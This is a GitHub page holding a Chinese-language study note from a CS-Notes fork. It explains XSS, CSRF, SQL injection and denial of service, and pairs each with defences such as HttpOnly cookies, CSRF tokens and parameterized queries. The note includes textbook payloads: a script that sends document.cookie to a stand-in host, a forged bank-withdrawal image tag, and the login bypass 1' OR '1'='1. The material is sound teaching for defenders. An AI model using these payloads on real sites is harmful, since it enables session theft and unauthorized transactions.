forked from CyC2018/CS-Notes
-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy path攻擊技術.md
204 lines (122 loc) · 8.04 KB
/
攻擊技術.md
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<!-- GFM-TOC -->
* [一、跨站腳本攻擊](#一跨站腳本攻擊)
* [二、跨站請求偽造](#二跨站請求偽造)
* [三、SQL 注入攻擊](#三sql-注入攻擊)
* [四、拒絕服務攻擊](#四拒絕服務攻擊)
* [參考資料](#參考資料)
<!-- GFM-TOC -->
# 一、跨站腳本攻擊
## 概念
跨站腳本攻擊(Cross-Site Scripting, XSS),可以將代碼注入到用戶瀏覽的網頁上,這種代碼包括 HTML 和 JavaScript。
## 攻擊原理
例如有一個論壇網站,攻擊者可以在上面發佈以下內容:
```html
<script>location.href="//domain.com/?c=" + document.cookie</script>
```
之後該內容可能會被渲染成以下形式:
```html
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一個用戶瀏覽了含有這個內容的頁面將會跳轉到 domain.com 並攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理用戶登錄狀態,那麼攻擊者就可以通過這個 Cookie 登錄被攻擊者的賬號了。
## 危害
- 竊取用戶的 Cookie
- 偽造虛假的輸入表單騙取個人信息
- 顯示偽造的文章或者圖片
## 防範手段
### 1. 設置 Cookie 為 HttpOnly
設置了 HttpOnly 的 Cookie 可以防止 JavaScript 腳本調用,就無法通過 document.cookie 獲取用戶 Cookie 信息。
### 2. 過濾特殊字符
例如將 `<` 轉義為 `<`,將 `>` 轉義為 `>`,從而避免 HTML 和 Jascript 代碼的運行。
富文本編輯器允許用戶輸入 HTML 代碼,就不能簡單地將 `<` 等字符進行過濾了,極大地提高了 XSS 攻擊的可能性。
富文本編輯器通常採用 XSS filter 來防範 XSS 攻擊,通過定義一些標籤白名單或者黑名單,從而不允許有攻擊性的 HTML 代碼的輸入。
以下例子中,form 和 script 等標籤都被轉義,而 h 和 p 等標籤將會保留。
```html
<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
```
```html
<h1>XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
```
> [XSS 過濾在線測試](http://jsxss.com/zh/try.html)
# 二、跨站請求偽造
## 概念
跨站請求偽造(Cross-site request forgery,CSRF),是攻擊者通過一些技術手段欺騙用戶的瀏覽器去訪問一個自己曾經認證過的網站並執行一些操作(如發郵件,發消息,甚至財產操作如轉賬和購買商品)。由於瀏覽器曾經認證過,所以被訪問的網站會認為是真正的用戶操作而去執行。
XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶瀏覽器的信任。
## 攻擊原理
假如一家銀行用以執行轉賬操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那麼,一個惡意攻擊者可以在另一個網站上放置如下代碼:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
```
如果有賬戶名為 Alice 的用戶訪問了惡意站點,而她之前剛訪問過銀行不久,登錄信息尚未過期,那麼她就會損失 1000 美元。
這種惡意的網址可以有很多種形式,藏身於網頁中的許多地方。此外,攻擊者也不需要控制放置惡意網址的網站。例如他可以將這種地址藏在論壇,博客等任何用戶生成內容的網站中。這意味著如果服務器端沒有合適的防禦措施的話,用戶即使訪問熟悉的可信網站也有受攻擊的危險。
通過例子能夠看出,攻擊者並不能通過 CSRF 攻擊來直接獲取用戶的賬戶控制權,也不能直接竊取用戶的任何信息。他們能做到的,是欺騙用戶瀏覽器,讓其以用戶的名義執行操作。
## 防範手段
### 1. 檢查 Referer 首部字段
Referer 首部字段位於 HTTP 報文中,用於標識請求來源的地址。檢查這個首部字段並要求請求來源的地址在同一個域名下,可以極大的防止 CSRF 攻擊。
這種辦法簡單易行,工作量低,僅需要在關鍵訪問處增加一步校驗。但這種辦法也有其侷限性,因其完全依賴瀏覽器發送正確的 Referer 字段。雖然 HTTP 協議對此字段的內容有明確的規定,但並無法保證來訪的瀏覽器的具體實現,亦無法保證瀏覽器沒有安全漏洞影響到此字段。並且也存在攻擊者攻擊某些瀏覽器,篡改其 Referer 字段的可能。
### 2. 添加校驗 Token
在訪問敏感數據請求時,要求用戶瀏覽器提供不保存在 Cookie 中,並且攻擊者無法偽造的數據作為校驗。例如服務器生成隨機數並附加在表單中,並要求客戶端傳回這個隨機數。
### 3. 輸入驗證碼
因為 CSRF 攻擊是在用戶無意識的情況下發生的,所以要求用戶輸入驗證碼可以讓用戶知道自己正在做的操作。
# 三、SQL 注入攻擊
## 概念
服務器上的數據庫運行非法的 SQL 語句,主要通過拼接來完成。
## 攻擊原理
例如一個網站登錄驗證的 SQL 查詢代碼為:
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果填入以下內容:
```sql
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
```
那麼 SQL 查詢字符串為:
```sql
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
```
此時無需驗證通過就能執行以下查詢:
```sql
strSQL = "SELECT * FROM users;"
```
## 防範手段
### 1. 使用參數化查詢
Java 中的 PreparedStatement 是預先編譯的 SQL 語句,可以傳入適當參數並且多次執行。由於沒有拼接的過程,因此可以防止 SQL 注入的發生。
```java
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```
### 2. 單引號轉換
將傳入的參數中的單引號轉換為連續兩個單引號,PHP 中的 Magic quote 可以完成這個功能。
# 四、拒絕服務攻擊
拒絕服務攻擊(denial-of-service attack,DoS),亦稱洪水攻擊,其目的在於使目標電腦的網絡或系統資源耗盡,使服務暫時中斷或停止,導致其正常用戶無法訪問。
分佈式拒絕服務攻擊(distributed denial-of-service attack,DDoS),指攻擊者使用兩個或以上被攻陷的電腦作為“殭屍”向特定的目標發動“拒絕服務”式攻擊。
# 參考資料
- [維基百科:跨站腳本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [維基百科:SQL 注入攻擊](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [維基百科:跨站點請求偽造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [維基百科:拒絕服務攻擊](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
# 微信公眾號
更多精彩內容將發佈在微信公眾號 CyC2018 上,你也可以在公眾號後臺和我交流學習和求職相關的問題。另外,公眾號提供了該項目的 PDF 等離線閱讀版本,後臺回覆 "下載" 即可領取。公眾號也提供了一份技術面試複習大綱,不僅系統整理了面試知識點,而且標註了各個知識點的重要程度,從而幫你理清多而雜的面試知識點,後臺回覆 "大綱" 即可領取。我基本是按照這個大綱來進行復習的,對我拿到了 BAT 頭條等 Offer 起到很大的幫助。你們完全可以和我一樣根據大綱上列的知識點來進行復習,就不用看很多不重要的內容,也可以知道哪些內容很重要從而多安排一些複習時間。
<br><div align="center"><img width="320px" src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/other/公眾號海報6.png"></img></div>